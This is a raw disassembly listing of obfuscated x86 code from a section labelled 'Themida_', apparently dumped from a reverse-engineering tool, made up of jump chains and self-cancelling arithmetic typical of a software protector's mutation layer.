loc_5AD007:				; CODE XREF: Themida_:005A92E9j
		push	edx
		mov	edx, 7C362328h
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5AA8EF
; ---------------------------------------------------------------------------


loc_5AD01D:				; CODE XREF: Themida_:0059C7DFj
		mov	ebp, ebx
		pop	ebx
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5A706F
; ---------------------------------------------------------------------------


loc_5AD039:				; CODE XREF: Themida_:0059AC04j
		mov	[esp], edi
		mov	edi, 6C6245D7h
		jmp	loc_5A8A0D
; ---------------------------------------------------------------------------


loc_5AD046:				; CODE XREF: Themida_:005A0124j
		sub	esi, 76D50DABh
		jmp	loc_5A76E3
; ---------------------------------------------------------------------------


loc_5AD051:				; CODE XREF: Themida_:005A7A1Ej
		mov	ebx, 4
		jmp	loc_5A461C
; ---------------------------------------------------------------------------


loc_5AD05B:				; CODE XREF: Themida_:005A9E2Bj
		sub	dword ptr [esp], 49F00616h
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59CF10
; ---------------------------------------------------------------------------


loc_5AD07A:				; CODE XREF: Themida_:005AB541j
		add	ebx, 58FF11C1h
		jmp	loc_5A877B
; ---------------------------------------------------------------------------


loc_5AD085:				; CODE XREF: Themida_:0059EEF0j
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5AC5E6
; ---------------------------------------------------------------------------


loc_5AD08F:				; CODE XREF: Themida_:0059FFE6j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AD094:				; CODE XREF: Themida_:loc_5995F3j
		shr	ecx, 6
		jnp	loc_59A66B
		xor	ecx, 2DE2309Bh
		push	edi
		mov	edi, 792EA419h
		xor	ecx, edi
		pop	edi
		jmp	loc_5ADB64
; ---------------------------------------------------------------------------


loc_5AD0B1:				; CODE XREF: Themida_:005A9849j
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_5AB1CF
; ---------------------------------------------------------------------------


loc_5AD0BC:				; CODE XREF: Themida_:005A8B1Fj
		push	esi
		push	ecx
		mov	ecx, 150B683Dh
		jmp	loc_59D59A
; ---------------------------------------------------------------------------


loc_5AD0C8:				; CODE XREF: Themida_:005AE966j
		mov	bl, 5
		push	5B84h
		mov	[esp], eax
		mov	ah, 8Ch
		shl	ah, 8
		add	ah, 0FFh
		sub	esp, 2
		mov	[esp], cx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5AD50A
; ---------------------------------------------------------------------------


loc_5AD0F2:				; CODE XREF: Themida_:005AA93Cj
		add	esp, 4
		jmp	loc_59D818
; ---------------------------------------------------------------------------


loc_5AD0FD:				; CODE XREF: Themida_:00599D28j
		mov	ecx, eax
		pop	eax
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 71B7A78h
		sub	ebx, 6D25F6Dh
		push	eax
		mov	eax, 14566483h
		neg	eax
		or	eax, 7A9D31BFh
		and	eax, 637E6832h
		push	edx
		mov	edx, 67F037EDh
		xor	eax, edx
		pop	edx
		add	ebx, 3F07603Ch
		sub	ebx, eax
		sub	ebx, 3F07603Ch
		mov	eax, [esp]
		jmp	loc_5AF50E
; ---------------------------------------------------------------------------


loc_5AD15F:				; CODE XREF: Themida_:loc_59D88Ej
		mov	cx, [esp]
		push	48C1h
		jmp	loc_5A981C
; ---------------------------------------------------------------------------


loc_5AD16D:				; CODE XREF: Themida_:005A25CAj
		push	124Eh
		jmp	loc_59A712
; ---------------------------------------------------------------------------


loc_5AD177:				; CODE XREF: Themida_:0059B7C6j
		mov	cl, bh
		pop	ebx
		push	ebx
		push	eax
		mov	ah, 0A7h
		push	ecx
		mov	ch, ah
		mov	bh, ch
		jmp	loc_5A5318
; ---------------------------------------------------------------------------


loc_5AD188:				; CODE XREF: Themida_:0059E8BCj
		add	dword ptr [esp+4], 27D561EEh
		sub	dword ptr [esp+4], 449223F4h
		add	[esp+4], ebp
		add	dword ptr [esp+4], 449223F4h
		sub	dword ptr [esp+4], 27D561EEh
		push	ebx
		sub	esp, 4
		jmp	loc_5A1FAD
; ---------------------------------------------------------------------------


loc_5AD1B5:				; CODE XREF: Themida_:005A0CECj
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5A3AA2
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		mov	ebx, esp
		push	2914h
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 4
		jmp	loc_5AC4F2
; ---------------------------------------------------------------------------


loc_5AD1E0:				; CODE XREF: Themida_:005ACFE6j
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp]
		jmp	loc_5A52F4
; ---------------------------------------------------------------------------


loc_5AD1F8:				; CODE XREF: Themida_:005986A9j
					; Themida_:005A4500j
		and	ax, 69Ah
		sub	ax, 0EA78h
		mov	di, ax
		jmp	loc_5A3439
; ---------------------------------------------------------------------------


loc_5AD208:				; CODE XREF: Themida_:005A090Ej
		sub	edx, ebx
		pop	ebx
		jmp	loc_5AF53C
; ---------------------------------------------------------------------------


loc_5AD210:				; CODE XREF: Themida_:005A0F87j
		pop	esp
		jmp	loc_5A6501
; ---------------------------------------------------------------------------


loc_5AD216:				; CODE XREF: Themida_:005A5C69j
		add	esp, 4
		sub	edi, 8D52A52h
		add	edi, 7C4226FAh
		add	edi, ecx
		sub	edi, 7C4226FAh
		push	edx
		mov	edx, 4C9A54F7h
		shl	edx, 7
		push	ebx
		mov	ebx, 5B3315F4h
		jmp	loc_5999BF
; ---------------------------------------------------------------------------


loc_5AD244:				; CODE XREF: Themida_:005ADDEEj
		pop	edi
		push	esi
		jmp	loc_5A5C77
; ---------------------------------------------------------------------------


loc_5AD24B:				; CODE XREF: Themida_:005AF3D8j
		movzx	ecx, al
		push	7069h
		mov	[esp], ecx
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AD25B:				; CODE XREF: Themida_:0059FC1Fj
		mov	edx, 47282FA3h
		or	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5986EB
; ---------------------------------------------------------------------------


loc_5AD26D:				; CODE XREF: Themida_:005A4A6Cj
		not	edi
		push	ecx
		mov	ecx, 47D687C8h
		sub	edi, ecx
		pop	ecx
		mov	eax, edi
		pop	edi
		add	eax, 0FFFFFFFFh
		shl	eax, 1
		sub	eax, 0FFFFFFFFh
		and	eax, 744619D1h
		neg	eax
		xor	eax, 9D02D103h
		jmp	loc_5A4C78
; ---------------------------------------------------------------------------


loc_5AD296:				; CODE XREF: Themida_:005A8928j
		push	ebx
		mov	ebx, 43D16970h
		jmp	loc_5A08FC
; ---------------------------------------------------------------------------


loc_5AD2A1:				; CODE XREF: Themida_:0059C68Ej
		or	cl, 0D6h
		jnb	loc_59D7FD
		xor	cl, 0C4h
		add	bl, cl
		pop	ecx
		sub	bl, 0A7h
		pop	ecx


loc_5AD2B4:				; CODE XREF: Themida_:0059B336j
		mov	ebx, 58905F00h
		jmp	loc_59F6CF
; ---------------------------------------------------------------------------


loc_5AD2BE:				; CODE XREF: Themida_:005AAC10j
		shr	ebx, 7
		xchg	edi, ebx
		jmp	loc_5ADE16
; ---------------------------------------------------------------------------


loc_5AD2C8:				; CODE XREF: Themida_:005A6D7Aj
		xor	ebx, eax
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_59EFE8
; ---------------------------------------------------------------------------


loc_5AD2D5:				; CODE XREF: Themida_:005A3805j
		sub	dword ptr [esp+4], 54896A93h
		sub	[esp+4], edi
		add	dword ptr [esp+4], 54896A93h
		pop	edi
		add	dword ptr [esp], 5B0E0DD2h
		jmp	loc_5A7DAA
; ---------------------------------------------------------------------------


loc_5AD2F6:				; CODE XREF: Themida_:0059F620j
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ecx
		push	ebx
		jmp	loc_5AED7E
; ---------------------------------------------------------------------------


loc_5AD303:				; CODE XREF: Themida_:005A06B9j
		xchg	ecx, esi
		add	esi, 1D3D07A0h
		jmp	loc_5ADC9C
; ---------------------------------------------------------------------------


loc_5AD310:				; CODE XREF: Themida_:005AC137j
		mov	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_5A360F
; ---------------------------------------------------------------------------


loc_5AD31A:				; CODE XREF: Themida_:005A24FFj
		xor	[esp], cx
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AD323:				; CODE XREF: Themida_:005A258Cj
		push	3D60h
		jmp	loc_5A163D
; ---------------------------------------------------------------------------


loc_5AD32D:				; CODE XREF: Themida_:005A9BFBj
		pop	eax
		or	cl, bl
		jmp	loc_5A2D7B
; ---------------------------------------------------------------------------


loc_5AD335:				; CODE XREF: Themida_:00598BE4j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5AAEF2
; ---------------------------------------------------------------------------


loc_5AD349:				; CODE XREF: Themida_:005A3C01j
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5A1415
; ---------------------------------------------------------------------------


loc_5AD359:				; CODE XREF: Themida_:005A9363j
		xchg	esi, [esp]
		jmp	loc_5A965C
; ---------------------------------------------------------------------------


loc_5AD361:				; CODE XREF: Themida_:0059C947j
		mov	esp, [esp]
		mov	esi, [esp]
		jmp	loc_5AC3BE
; ---------------------------------------------------------------------------


loc_5AD36C:				; CODE XREF: Themida_:0059A0A3j
		sub	eax, 1D1405E4h
		add	eax, 75487B48h
		sub	eax, ecx
		sub	eax, 75487B48h
		add	eax, 1D1405E4h
		add	eax, 5DB97B74h
		jmp	loc_5A69F4
; ---------------------------------------------------------------------------


loc_5AD38C:				; CODE XREF: Themida_:005A5554j
		mov	[esp], ebp
		push	esi
		jmp	loc_59F2F9
; ---------------------------------------------------------------------------


loc_5AD395:				; CODE XREF: Themida_:0059F47Fj
		inc	ebx
		jp	loc_5A9531
		xor	ebx, 983FE4C1h
		jmp	loc_5A271F
; ---------------------------------------------------------------------------


loc_5AD3A7:				; CODE XREF: Themida_:005995A7j
		push	73C53B61h
		pop	edi
		neg	edi
		jmp	loc_5AA2FD
; ---------------------------------------------------------------------------


loc_5AD3B4:				; CODE XREF: Themida_:005A9436j
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A55CC
; ---------------------------------------------------------------------------


loc_5AD3DC:				; CODE XREF: Themida_:0059E631j
		pop	ebx
		pop	ecx
		not	ecx
		xchg	ecx, ebx
		jmp	loc_59A43E
; ---------------------------------------------------------------------------


loc_5AD3E7:				; CODE XREF: Themida_:005ADF6Bj
		pop	edx
		jmp	loc_5AF2B8
; ---------------------------------------------------------------------------


loc_5AD3ED:				; CODE XREF: Themida_:0059CE71j
		jnz	loc_5A83EB
		sub	edx, 9B378B89h
		mov	edx, edi
		add	al, 0FBh


loc_5AD3FD:				; CODE XREF: Themida_:005A7B66j
					; Themida_:005A9A06j
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	dh, 13h
		jmp	loc_5AF3B8
; ---------------------------------------------------------------------------


loc_5AD40B:				; CODE XREF: Themida_:0059CA1Bj
		pop	ebp
		jmp	loc_5A844E
; ---------------------------------------------------------------------------


loc_5AD411:				; CODE XREF: Themida_:005AC1F8j
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 2838E550h
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 7F9C4AC4h
		sub	esp, 4
		jmp	loc_59D397
; ---------------------------------------------------------------------------


loc_5AD438:				; CODE XREF: Themida_:005AEFD9j
		and	ch, 34h
		jmp	loc_59E5E8
; ---------------------------------------------------------------------------


loc_5AD440:				; CODE XREF: Themida_:005A13CDj
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		pop	ebx
		xchg	ebx, edx
		inc	edx
		neg	edx
		shr	edx, 1
		xor	edx, 377589B1h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], ecx
		push	4
		mov	ecx, [esp]
		add	esp, 4
		add	eax, ecx
		pop	ecx
		xor	eax, [esp]
		jmp	loc_5A5EB6
; ---------------------------------------------------------------------------


loc_5AD492:				; CODE XREF: Themida_:005ADC9Fj
		inc	esi
		jmp	loc_5ABB1D
; ---------------------------------------------------------------------------


loc_5AD498:				; CODE XREF: Themida_:005AE8A3j
		jl	loc_5A7E0C
		and	ebx, 7ACA5BD5h
		jns	loc_5A2C28
		mov	al, dl
		push	edx


loc_5AD4AD:				; CODE XREF: Themida_:005AE6F2j
					; Themida_:005AF29Dj
		jns	loc_59A00F
		push	ebp
		mov	ebp, 0ED060D3h
		neg	ebp
		mov	edi, edi
		pop	ebx


loc_5AD4BE:				; CODE XREF: Themida_:005A838Aj
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	eax
		jmp	loc_5AB8C4
; ---------------------------------------------------------------------------


loc_5AD4D2:				; CODE XREF: Themida_:005A051Aj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A198E
; ---------------------------------------------------------------------------


loc_5AD4DB:				; CODE XREF: Themida_:005A9084j
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 24E47F55h
		jmp	loc_5A9EA7
; ---------------------------------------------------------------------------


loc_5AD4EF:				; CODE XREF: Themida_:005A9CFEj
		sub	edi, edx
		pop	edx
		jmp	loc_59F896
; ---------------------------------------------------------------------------


loc_5AD4F7:				; CODE XREF: Themida_:0059D39Aj
		mov	edx, 285347BDh
		sub	edx, 0C080D656h
		add	eax, edx
		pop	edx
		jmp	loc_59DC43
; ---------------------------------------------------------------------------


loc_5AD50A:				; CODE XREF: Themida_:005AD0EDj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	ah, 1Eh
		jmp	loc_59D233
; ---------------------------------------------------------------------------


loc_5AD51E:				; CODE XREF: Themida_:0059B02Ej
		mov	ecx, [esp]
		add	esp, 4
		shl	ebp, 6
		sub	ebp, 69D9DE1Eh
		sub	ecx, ebp
		pop	ebp
		jmp	loc_5A0615
; ---------------------------------------------------------------------------


loc_5AD538:				; CODE XREF: Themida_:0059D5FAj
		push	0B7h
		mov	[esp], esi
		mov	esi, 5D1C2CA2h
		add	esi, 1
		and	esi, 79F7191Fh
		not	esi
		shr	esi, 7
		push	esi
		push	72Bh
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		push	edi
		jmp	loc_5A8145
; ---------------------------------------------------------------------------


loc_5AD56F:				; CODE XREF: Themida_:0059D778j
		pop	ebp
		push	edi
		push	esp
		pop	edi
		jmp	loc_5A2BF0
; ---------------------------------------------------------------------------


loc_5AD578:				; CODE XREF: Themida_:0059A57Cj
		sub	esi, edi
		mov	edi, [esp]
		jmp	loc_5A2834
; ---------------------------------------------------------------------------


loc_5AD582:				; CODE XREF: Themida_:005A757Dj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	1D1Ch
		mov	[esp], esi
		jmp	loc_5AA4AA
; ---------------------------------------------------------------------------


loc_5AD5A5:				; CODE XREF: Themida_:005A10A4j
		pop	ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, eax
		jmp	loc_5A9636
; ---------------------------------------------------------------------------


loc_5AD5B3:				; CODE XREF: Themida_:005A3942j
		sub	al, 76h
		pop	ebx
		mov	ch, al
		jmp	loc_5A8AC7
; ---------------------------------------------------------------------------


loc_5AD5BD:				; CODE XREF: Themida_:005A737Aj
		push	ebx
		xor	dword ptr [esp], 2ACC75DBh
		pop	eax
		xor	eax, 2ACC75DBh
		pop	ebx
		push	ebp
		mov	ebp, 77A40590h
		shl	ebp, 6
		jmp	loc_5AB977
; ---------------------------------------------------------------------------


loc_5AD5DA:				; CODE XREF: Themida_:005A7167j
					; Themida_:005ADD57j
		add	ecx, 776F54E4h
		mov	edx, [esp]
		add	esp, 4
		add	ecx, ebx
		push	esi
		mov	esi, 30982FEFh
		add	esi, 749E3435h
		add	esi, 0C722B4C0h
		jmp	loc_5ADA51
; ---------------------------------------------------------------------------


loc_5AD5FF:				; CODE XREF: Themida_:0059D43Dj
					; Themida_:005A219Fj
		sub	eax, 291730EDh
		jmp	loc_5A8507
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	432Dh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	3246h
		jmp	loc_5ACD1A
; ---------------------------------------------------------------------------


loc_5AD627:				; CODE XREF: Themida_:00598C02j
		pop	edi
		jmp	loc_59C177
; ---------------------------------------------------------------------------


loc_5AD62D:				; CODE XREF: Themida_:005ACA0Fj
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		mov	ecx, 46260EBFh
		inc	ecx
		inc	ecx
		sub	ecx, 0F2C0AAFh
		jmp	loc_5A08D3
; ---------------------------------------------------------------------------


loc_5AD645:				; CODE XREF: Themida_:005ACAB7j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esi, 4
		push	esi
		jmp	loc_5A70D8
; ---------------------------------------------------------------------------


loc_5AD65B:				; CODE XREF: Themida_:005A0B26j
		xchg	esi, ebx
		push	esi
		sub	esp, 4
		mov	[esp], eax
		pop	esi
		pop	eax
		not	eax
		xchg	eax, esi
		xor	ebx, esi
		xor	esi, ebx
		xor	ebx, esi
		jmp	loc_5A006A
; ---------------------------------------------------------------------------


loc_5AD674:				; CODE XREF: Themida_:loc_598510j
					; Themida_:0059CED4j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_5A386A
; ---------------------------------------------------------------------------


loc_5AD686:				; CODE XREF: Themida_:005A1603j
		add	al, dh
		pop	edx
		sub	al, dh
		push	dx
		jmp	loc_59AB50
; ---------------------------------------------------------------------------


loc_5AD692:				; CODE XREF: Themida_:005A2EB7j
		not	cx
		push	si
		mov	si, 9CECh
		xor	cx, si
		pop	si
		and	di, cx
		pop	ecx
		inc	di
		push	ebp
		mov	bp, 5C9h
		add	bp, 2171h
		xor	bp, 3A67h
		shl	bp, 7
		xor	bp, 6018h
		jmp	loc_59A4DC
; ---------------------------------------------------------------------------


loc_5AD6C3:				; CODE XREF: Themida_:005ADBE5j
		mov	[esp], edx
		mov	edx, 3FAF6C23h
		xor	edx, 10D21ACFh
		add	eax, edx
		jmp	loc_5AD9D5
; ---------------------------------------------------------------------------


loc_5AD6D8:				; CODE XREF: Themida_:005A3F28j
					; Themida_:005ADB88j
		shr	edi, 6
		sub	edi, 8428EE98h
		push	eax
		push	123376F8h
		pop	eax
		jmp	loc_59ECE8
; ---------------------------------------------------------------------------


loc_5AD6ED:				; CODE XREF: Themida_:005A46FDj
		xor	ebx, ebp
		pop	ebp
		shr	ebx, 1
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 51AB543Ch
		jmp	loc_5AA61B
; ---------------------------------------------------------------------------


loc_5AD705:				; CODE XREF: Themida_:005A9135j
		pop	eax
		add	esp, 4
		add	esp, 4
		push	eax
		jmp	loc_5A4587
; ---------------------------------------------------------------------------


loc_5AD718:				; CODE XREF: Themida_:0059C498j
		jmp	loc_59BE24
; ---------------------------------------------------------------------------


loc_5AD71D:				; CODE XREF: Themida_:005A4BDDj
		push	3EA7h
		mov	[esp], eax
		jmp	loc_5A8759
; ---------------------------------------------------------------------------


loc_5AD72A:				; CODE XREF: Themida_:005A6767j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	3C38h
		jmp	loc_5A8A48
; ---------------------------------------------------------------------------


loc_5AD73C:				; CODE XREF: Themida_:005AF522j
		jmp	loc_5A7D5E
; ---------------------------------------------------------------------------


loc_5AD741:				; CODE XREF: Themida_:0059EFEBj
		mov	esi, esp
		jmp	loc_5AB304
; ---------------------------------------------------------------------------


loc_5AD748:				; CODE XREF: Themida_:005995C1j
		xor	eax, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	3E28h
		mov	[esp], ecx
		push	ebx
		jmp	loc_5AEF85
; ---------------------------------------------------------------------------


loc_5AD760:				; CODE XREF: Themida_:005A97ABj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5ADBD2
; ---------------------------------------------------------------------------


loc_5AD775:				; CODE XREF: Themida_:005A7516j
					; Themida_:005AE849j
		push	2F296BECh
		push	dword ptr [esp]
		pop	eax
		push	eax
		jmp	loc_59C4C4
; ---------------------------------------------------------------------------


loc_5AD784:				; CODE XREF: Themida_:0059D8EEj
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AD790:				; CODE XREF: Themida_:0059E240j
		jmp	loc_5A0A05
; ---------------------------------------------------------------------------


loc_5AD795:				; CODE XREF: Themida_:005A468Fj
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_59E636
; ---------------------------------------------------------------------------


loc_5AD7A2:				; CODE XREF: Themida_:005A355Dj
		sub	esi, 1543371Ch
		inc	esi
		jle	loc_5A1B4D
		shr	esi, 6
		or	esi, 60EA5893h
		jl	loc_5AB0EF
		add	esi, 0BA7A94D8h
		push	edx
		mov	edx, 1
		sub	esi, edx
		pop	edx
		push	ecx
		mov	ecx, 554F0205h
		inc	ecx
		xor	ecx, 34E99E12h
		xor	esi, ecx
		pop	ecx
		add	eax, 44120DF8h
		jmp	loc_5A1FA6
; ---------------------------------------------------------------------------


loc_5AD7E7:				; CODE XREF: Themida_:00599602j
					; Themida_:005A2977j
		and	ecx, 303105D2h
		xchg	eax, ecx
		jmp	loc_5A6267
; ---------------------------------------------------------------------------


loc_5AD7F3:				; CODE XREF: Themida_:005AF147j
		add	ebx, 33B94023h
		add	ebx, eax
		jmp	loc_5A8B5E
; ---------------------------------------------------------------------------


loc_5AD800:				; CODE XREF: Themida_:005A2C7Ej
		pop	esi
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 1B0B5A1Eh
		jmp	loc_5A0A15
; ---------------------------------------------------------------------------


loc_5AD80F:				; CODE XREF: Themida_:005A5EB1j
		dec	dword ptr [esp]
		pushf
		jmp	loc_5A1D29
; ---------------------------------------------------------------------------


loc_5AD818:				; CODE XREF: Themida_:005A6096j
		neg	dl
		neg	dl
		xor	dl, 1Eh
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ch, 68h
		and	ch, 29h
		dec	ch
		jo	loc_599B42
		shr	ch, 5
		jz	loc_59DEA6
		neg	ch
		jle	loc_59E015
		neg	ch
		jmp	loc_5AA49A
; ---------------------------------------------------------------------------
		sub	cl, 0D4h
		sub	cl, 6


loc_5AD851:				; CODE XREF: Themida_:005A544Ej
		push	ebp
		mov	ebp, 2DFE17A6h
		and	ebp, 58E36892h
		not	ebp
		inc	ebp
		add	ebp, 63BC6E11h
		xor	ebp, 8CEF85C9h
		add	esi, ebp
		pop	ebp
		add	[esp+4], esi
		pop	esi
		pop	eax
		push	ebx
		mov	ebx, 6E152ADAh
		sub	ebx, 63740B44h
		jmp	loc_5AA214
; ---------------------------------------------------------------------------


loc_5AD886:				; CODE XREF: Themida_:005A3AADj
		or	edx, 6A097AC9h
		dec	edx
		add	edx, 10102E9Dh
		dec	edx
		shl	edx, 5
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 711F7E09h
		push	ebp
		jmp	loc_59CB42
; ---------------------------------------------------------------------------


loc_5AD8AB:				; CODE XREF: Themida_:0059CBFFj
		sub	edx, 3C8B7D1Eh
		sub	edx, 76DD20F7h
		xor	edx, 0BB5FDE92h
		xor	edx, 4A40084Ah
		sub	edx, 0FFFFFFFFh
		jmp	loc_5A21CF
; ---------------------------------------------------------------------------


loc_5AD8CE:				; CODE XREF: Themida_:005A08CEj
		push	5D1Ah
		jmp	loc_5A9FE9
; ---------------------------------------------------------------------------


loc_5AD8D8:				; CODE XREF: Themida_:loc_5AA775j
		sub	esi, 8C446A95h
		mov	ebp, esi
		pop	esi
		mov	edx, 0AD8FE155h
		add	edx, ebp
		pop	ebp
		jmp	loc_5A0BB2
; ---------------------------------------------------------------------------


loc_5AD8EE:				; CODE XREF: Themida_:0059BF08j
		jnz	loc_5A1FA1
		jmp	loc_5A6E03
; ---------------------------------------------------------------------------
		sub	eax, esi
		jmp	loc_5A826C
; ---------------------------------------------------------------------------


loc_5AD900:				; CODE XREF: Themida_:0059C214j
		add	ebp, esi
		pop	esi
		xor	ebp, 805CD66Ah
		sub	esi, ebp
		jmp	loc_59CCE5
; ---------------------------------------------------------------------------


loc_5AD910:				; CODE XREF: Themida_:0059A357j
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A4D8A
; ---------------------------------------------------------------------------


loc_5AD922:				; CODE XREF: Themida_:0059FDDFj
		shr	esi, 6
		jmp	loc_59DD4D
; ---------------------------------------------------------------------------


loc_5AD92A:				; CODE XREF: Themida_:005A0933j
					; Themida_:loc_5AC242j
		shr	eax, 4
		jnz	loc_59B8F5
		jmp	loc_59C0BB
; ---------------------------------------------------------------------------
		mov	[esp], ecx
		push	edi
		push	edx


loc_5AD93D:				; CODE XREF: Themida_:005A0AC7j
		shl	edx, 3
		jmp	loc_5A2CFC
; ---------------------------------------------------------------------------


loc_5AD945:				; CODE XREF: Themida_:005A8916j
		add	esp, 4
		or	ebp, 4F17ACDh
		not	ebp
		push	eax
		mov	eax, 0FA0E801Eh
		sub	ebp, eax
		mov	eax, [esp]
		jmp	loc_599954
; ---------------------------------------------------------------------------


loc_5AD960:				; CODE XREF: Themida_:005A6D07j
		push	ecx
		jmp	loc_5A9968
; ---------------------------------------------------------------------------


loc_5AD966:				; CODE XREF: Themida_:005AF236j
		xor	edi, [esp]
		pop	esp
		jmp	loc_5A0744
; ---------------------------------------------------------------------------


loc_5AD96F:				; CODE XREF: Themida_:005AA416j
		jmp	loc_5A4F41
; ---------------------------------------------------------------------------


loc_5AD974:				; CODE XREF: Themida_:005AA98Cj
		and	esi, 10EC2250h
		jno	loc_5ABD98
		not	esi
		not	esi
		jmp	loc_5A0925
; ---------------------------------------------------------------------------
		pop	ecx


loc_5AD98A:				; CODE XREF: Themida_:005A9508j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 45DD0A63h
		jmp	loc_5AC8BC
; ---------------------------------------------------------------------------


loc_5AD99D:				; CODE XREF: Themida_:005A5A9Dj
		sub	edx, 10451200h
		jmp	loc_5A4D39
; ---------------------------------------------------------------------------


loc_5AD9A8:				; CODE XREF: Themida_:005A1DD3j
		add	ecx, edx
		sub	ecx, 309772F3h
		push	edx
		mov	edx, 0
		add	edx, ecx
		jmp	loc_59C37F
; ---------------------------------------------------------------------------


loc_5AD9BD:				; CODE XREF: Themida_:0059ED55j
		add	ecx, edx
		jmp	loc_59EC83
; ---------------------------------------------------------------------------


loc_5AD9C4:				; CODE XREF: Themida_:005A0654j
		add	ebx, 1
		add	ebx, 87F87BD1h
		jmp	loc_5A8C1F
; ---------------------------------------------------------------------------


loc_5AD9D5:				; CODE XREF: Themida_:005AD6D3j
		pop	edx
		add	eax, edi
		jmp	loc_5A0E67
; ---------------------------------------------------------------------------


loc_5AD9DD:				; CODE XREF: Themida_:005A4DC6j
		xor	edi, esi
		jmp	loc_5ABA27
; ---------------------------------------------------------------------------


loc_5AD9E4:				; CODE XREF: Themida_:005A0748j
		mov	[esp], ecx
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AD9EC:				; CODE XREF: Themida_:005A6737j
		sub	ebp, 57B96C82h
		jmp	loc_5A5D5F
; ---------------------------------------------------------------------------


loc_5AD9F7:				; CODE XREF: Themida_:005A3844j
		sub	edi, 6F62CDCh
		add	edi, eax
		add	edi, 6F62CDCh
		mov	eax, [esp]
		add	esp, 4
		dec	edi
		add	edi, 49AEBFFh
		or	ebx, edi
		pop	edi
		sub	ebx, 5FDB136Ch
		sub	[edi+24h], ebx
		jmp	loc_5AAFCE
; ---------------------------------------------------------------------------


loc_5ADA23:				; CODE XREF: Themida_:005A682Aj
		mov	eax, ecx
		jmp	loc_59F73C
; ---------------------------------------------------------------------------


loc_5ADA2A:				; CODE XREF: Themida_:0059F5EDj
		mov	bl, ch
		pop	ecx
		push	35CCh
		jmp	loc_59EA4C
; ---------------------------------------------------------------------------


loc_5ADA37:				; CODE XREF: Themida_:005A54E5j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	74A2h
		jmp	loc_59DC83
; ---------------------------------------------------------------------------


loc_5ADA51:				; CODE XREF: Themida_:0059A6BCj
					; Themida_:005AD5FAj
		add	ecx, esi
		pop	esi
		sub	ecx, 61022087h
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		push	ebx
		jmp	loc_5AA014
; ---------------------------------------------------------------------------


